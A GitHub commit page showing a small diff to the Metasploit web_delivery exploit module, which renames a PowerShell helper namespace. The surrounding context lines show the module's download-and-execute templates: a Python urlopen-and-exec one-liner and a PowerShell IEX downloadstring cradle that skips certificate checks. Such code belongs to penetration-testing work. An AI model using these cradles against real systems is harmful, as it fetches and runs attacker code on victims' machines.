We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents a60fe4a + eb1c014 commit 4f59abeCopy full SHA for 4f59abe
modules/exploits/multi/script/web_delivery.rb
@@ -88,7 +88,7 @@ def primer
88
when 'Python'
89
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
90
when 'PSH'
91
- ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
+ ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
92
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
93
print_line generate_psh_command_line(
94
noprofile: true,
0 commit comments